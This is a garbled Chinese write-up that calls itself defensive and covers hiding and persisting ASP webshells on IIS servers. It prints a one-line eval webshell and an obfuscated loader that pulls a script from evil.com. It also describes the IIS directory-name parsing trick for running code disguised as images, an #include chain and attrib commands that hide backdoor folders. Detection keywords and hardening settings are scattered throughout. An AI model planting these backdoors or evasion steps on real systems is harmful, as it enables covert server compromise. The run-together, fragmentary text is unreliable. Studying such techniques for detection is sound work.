本文分析 ASP WebShell 隱藏與持久化技術,旨在協助防禦者理解攻擊者規避掃描、鑑別、取證的手法,部署有效的 WAF 規則、檔案完整性監控 (FIM)、EDR 行為規則。嚴禁用於未授權系統植入後門。所有技術基於公開的 IIS/ASP 執行機制。
<%eval request("x")%> 插入 .asp 檔案中,若插入位置破壞 ASP 語法 (如在 <% %> 區塊外、HTML 標籤屬性內),IIS 解析報錯 500,立即暴露<%@ Language=JScript %>,但客戶端瀏覽器也能解析 JScript.asp 檔案的 HTML 區塊 (如 <head>、<body> 後),ASP 引擎視為靜態文字原樣輸出,瀏覽器端執行 → 不觸發 ASP 解析錯誤
<!-- 正常 ASP 頁面內容 -->
<html>
<head>
<title>正常頁面</title>
<script language="JScript" runat="server">
// 此處為伺服器端 JScript,會被 ASP 解析
</script>
<script language="JScript">
// 此處為客戶端 JScript,ASP 視為純文字輸出
// 攻擊者植入的載入器代碼 (經過混淆/編碼)
eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%65%76%69%6C%2E%63%6F%6D%2F%6C%6F%61%64%65%72%2E%6A%73%27%29"));
</script>
</head>
<body>...</body>
</html>
.asp 檔案中 <script language="JScript"> (無 runat="server") 且包含 eval/unescape/fromCharCode/activexobject 等敏感關鍵字Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self'; 禁止內聯腳本與外部載入<script>eval(、document.write(unescape 模式adai_7x9k2/)wind.asp 複製至該目錄/adai_7x9k2/wind.aspevil.asp/ (目錄名以 .asp 結尾)shell.jpg (實為 ASP 代碼)/evil.asp/shell.jpg → IIS 將目錄視為腳本映射執行 shell.jpg 內代碼.asp、.aspx、.ashx,移除 .*、.*/* 通配映射Handler Mappings → Edit Feature Permissions → 取消 Script.asp/、.asa/、.cer/ 等偽裝目錄模式include 虛擬路徑 + IIS 解析漏洞鏈adai.asp/ (目錄名以 .asp 結尾)adai.jpg,寫入單行木馬代碼wind.txt,內容:<!--#include file="adai.asp/adai.jpg"-->/wind.txt → IIS 解析 #include 指令 → 因目錄名 adai.asp 觸發腳本映射 → 執行 adai.jpg 內 ASP 代碼attrib +H +S adai.asp 設定目錄隱藏+系統屬性,dir /a 才可見wind.txt 偽裝為日誌/配置檔,不引起注意